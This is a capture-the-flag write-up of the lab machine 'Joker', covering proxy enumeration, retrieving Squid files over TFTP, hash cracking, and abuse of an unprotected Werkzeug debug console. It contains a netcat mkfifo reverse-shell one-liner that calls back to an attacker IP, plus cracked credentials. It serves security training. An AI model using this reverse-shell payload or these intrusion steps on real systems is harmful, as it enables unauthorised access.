

Joker

Synopsis

Joker focuses on many different topics and provides an excellent learning experience

Skills

- Knowledge of Linux
- Enumerating and attacking through the proxy
- Bypassing network restrictions
- Exploiting NOPASSWD files
- Exploiting sudoedit wildcards
- Exploiting tar wildcards

Exploitation

As always we start with the nmap to check what services/ports are open


```
└─# nmap -A 10.10.10.21
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-07 19:20 EDT
Nmap scan report for 10.10.10.21
Host is up (0.066s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT      STATE SERVICE        VERSION
22/tcp    open  ssh            OpenSSH 7.3p1 Ubuntu lubuntu0.1 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|   2048 8824e357109f1b173d7af3263db6334e (RSA)
|   256 76b6f60800bd68ce97cb08e777693d8a (ECDSA)
|   256 dc91e48dd016cecf3d91820923a7dc86 (ED25519)
3128/tcp  open  http-proxy    Squid http proxy 3.5.12
|_ http-server-header: squid/3.5.12
|_ http-title: ERROR: The requested URL could not be retrieved
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (94%), Linux 3.12 (94%), Linux 3.13 (94%), Linux 3.13 or 4.2 (94%), Linux 3.16 - 4.6 (94%), Linux 3.2 - 4.9 (94%),
Linux 3.8 - 3.11 (94%), Linux 4.2 (94%), Linux 4.4 (94%), Linux 4.8 (94%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT      ADDRESS
1   61.74 ms  10.10.14.1
2   66.25 ms  10.10.10.21
```


We can see that 3128/HTTP Squid proxy is running

Proxy is a service running behind the firewall and allows us to access services that are internal only

If we try to access this web port by going to the web browser and using the address 10.10.10.21:3128, we will not get any access



Yet, we can access this port by setting up the upstream proxy in the BurpSuite



Edit upstream proxy rule

Enter the details of the upstream proxy rule. You can use wildcards to specify destination hosts (* matches zero or more characters, ? matches any character except a dot). Leave the proxy host blank to connect directly for the specified destination host.

Destination host:	<input type="text" value="*"/>
Proxy host:	<input type="text" value="10.10.10.21"/>
Proxy port:	<input type="text" value="3128"/>
Authentication type:	<input type="text" value="None"/>
Username:	<input type="text"/>
Password:	<input type="text"/>
Domain:	<input type="text"/>
Domain hostname:	<input type="text"/>

OK Cancel

After setting up the upstream proxy, in the web browser we need to type 127.0.0.1:80 and we will be provided with access to the web port, but if we inspect all request/responses via burp we will notice that authentication is required

Let's check if those files exist on the server and if we have enough permissions to retrieve them

If we try to retrieve file for which we don't have permissions, we get the following error: "Access violation"

```
# tftp 10.10.10.21
tftp> get /etc/passwd
Error code 2: Access violation
```

But when we try to access files that we can retrieve

```
tftp> get /etc/squid/passwords
Received 48 bytes in 0.1 seconds
```

```
tftp> get /etc/squid/squid.conf
Received 295428 bytes in 48.5 seconds
```

And we retrieved all of the squid related files

Now let's inspect their content to find any credentials that can be used for proxy authentication

There was not credentials in the /etc/squid/squid.conf file

But some credentials were found in the /etc/squid/passwords file, but there are hashed what means we need to crack the hash to obtain plain text password; for this purpose we will use hashcat

```
GNU nano 6.3 passwords
kalamari:$apr1$zyzBxQYW$pL360IoLQ5Yum5SLTph.l0
```

```

$ hashcat hash /usr/share/dirb/wordlists/common.txt --force
hashcat (v6.2.5) starting in autodetect mode

You have enabled --force to bypass dangerous warnings and errors!
This can hide serious problems and should only be done when debugging.
Do not report hashcat issues encountered when using --force.

OpenCL API (OpenCL 3.0 PoCL 3.0+debian Linux, None+Asserts, RELOC, LLVM 13.0.1, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
=====
Device #1: pthread-Intel(R) Core(TM) i7-7700HQ CPU @ 2.80GHz, 1441/2947 MB (512 MB allocatable), 1MCU

Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

1600 | Apache $apr1$ MD5, md5apr1, MD5 (APR) | FTP, HTTP, SMTP, LDAP Server

NOTE: Auto-detect is best effort. The correct hash-mode is NOT guaranteed!
Do NOT report auto-detect issues unless you are certain of the hash type.

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Digests: 1 digests; 1 unique digests, 1 unique salts
TimeMaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
Zero-Byte
Single-Hash
Single-Salt

ATTENTION! Pure (unoptimized) backend kernels selected.

```

```

Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 0 MB
Dictionary cache built:
* Filename...: /usr/share/dirb/wordlists/common.txt
* Passwords...: 4692
* Bytes.....: 36871
* Keyspace...: 4692
* Runtime....: 0 secs

$apr1$zyzBxQYW$pL360IoLQ5Yum5SLTph.l0:ihatesseafood

Session.....: hashcat
Status.....: Cracked
Hash.Mode.....: 1600 (Apache $apr1$ MD5, md5apr1, MD5 (APR))
Hash.Target.....: $apr1$zyzBxQYW$pL360IoLQ5Yum5SLTph.l0
Time.Started.....: Wed Jun  7 19:43:10 2023, (0 secs)
Time.Estimated...: Wed Jun  7 19:43:10 2023, (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.....: File (/usr/share/dirb/wordlists/common.txt)
Guess.Queue.....: 1/1 (100.00%)
Speed.#1.....: 59 H/s (8.46ms) @ Accel:32 Loops:1000 Thr:1 Vec:4
Recovered.....: 1/1 (100.00%) Digests
Progress.....: 32/4692 (0.68%)
Rejected.....: 0/32 (0.00%)
Restore.Point...: 0/4692 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1000
Candidate.Engine.: Device Generator
Candidates.#1....: pods -> proxy
Hardware Mon. #1...: Util: 93%


```

And after a while we successfully cracked the hash,

So the obtained credentials for proxy are as follows

Kalamari: ihatesseafood

Let's get back to the upstream proxy burp and add them to the authentication option



The screenshot shows a dialog box titled "Edit upstream proxy rule". It contains a help icon and a text box explaining that wildcards can be used for destination hosts. Below this are several input fields: "Destination host:" with an asterisk (*), "Proxy host:" with "10.10.10.21", "Proxy port:" with "3128", "Authentication type:" with a dropdown menu set to "Basic", "Username:" with "kalamari", "Password:" with a masked field of dots, "Domain:" (empty), and "Domain hostname:" (empty). At the bottom right are "OK" and "Cancel" buttons.

Enter the details of the upstream proxy rule. You can use wildcards to specify destination hosts (* matches zero or more characters, ? matches any character except a dot). Leave the proxy host blank to connect directly for the specified destination host.

Destination host: *

Proxy host: 10.10.10.21

Proxy port: 3128

Authentication type: Basic

Username: kalamari


Password:

Domain:




Domain hostname:


OK Cancel

With those credentials, we can finally access the web port



In order to perform url brute-forcing to find any hidden directories we need to set up another proxy in burp






After setting up the additional proxy we can launch dirbuster to find hidden directories

Command:

Dirb 127.0.0.1 -w /usr/share/dirb/wordlist/common.txt

```
# dirb http://127.0.0.1/
-----
DIRB v2.22
By The Dark Raver
-----
START_TIME: Wed Jun  7 20:03:49 2023
URL_BASE: http://127.0.0.1/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----
GENERATED WORDS: 4680
---- Scanning URL: http://127.0.0.1/ ----
+ http://127.0.0.1/console (CODE:200|SIZE:1479)
```

After a while the /console directory was revealed



This looks like wekrezug debugging console, that allows to execute commands (if unprotected by PIN)

```
>>> import os
>>> os.popen('whoami').read()
'werkzeug\n'
>>> os.popen('which nc').read()
'/bin/nc\n'
>>> |
```

As we can see, this console is unprotected so we got a remote code execution

```
>>> os.popen("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc -u 10.10.14.3 5555 > /tmp/f")|
```

This remote code execution got abused to obtain a reverse shell on the system

Command

Import os

```
os.popen("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc -u  
<attacker_ip> <port> > /tmp/f")
```

```
# nc -nlvup 5555
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::5555
Ncat: Listening on 0.0.0.0:5555
Ncat: Connection from 10.10.10.21.
/bin/sh: 0: can't access tty; job control turned off
$
```

And we got a reverse shell on the system

```
total 104
drwxr-xr-x 23 root root 4096 May 17 2017 .
drwxr-xr-x 23 root root 4096 May 17 2017 ..
drwxr-xr-x 2 root root 12288 May 19 2017 bin
drwxr-xr-x 3 root root 4096 May 17 2017 boot
drwxr-xr-x 19 root root 3820 Jun 8 02:18 dev
drwxr-xr-x 96 root root 4096 May 19 2017 etc
drwxr-xr-x 3 root root 4096 May 16 2017 home
lrwxrwxrwx 1 root root 32 May 17 2017 initrd.img -> boot/initrd.img-4.8.0-52-generic
drwxr-xr-x 23 root root 4096 Oct 17 2016 lib
drwxr-xr-x 2 root root 4096 Mar 20 2017 lib64
drwx----- 2 root root 16384 Oct 17 2016 lost+found
drwxr-xr-x 3 root root 4096 Oct 17 2016 media

dr-xr-xr-x 178 root root 0 Jun 8 02:18 proc
drwx----- 5 root root 4096 May 19 2017 root
drwxr-xr-x 23 root root 860 Jun 8 02:18 run
drwxr-xr-x 2 root root 12288 May 19 2017 sbin
drwxr-xr-x 2 root root 4096 Oct 6 2016 snap
drwxr-xr-x 2 root root 4096 Oct 12 2016 srv
dr-xr-xr-x 13 root root 0 Jun 8 03:41 sys
drwxrwxrwt 9 root root 4096 Jun 8 04:10 tmp
drwxr-xr-x 10 root root 4096 Oct 17 2016 usr
drwxr-xr-x 14 root root 4096 Oct 23 2016 var
lrwxrwxrwx 1 root root 29 May 17 2017 vmlinuz -> boot/vmlinuz-4.8.0-52-generic
werkzeug@joker:/$
```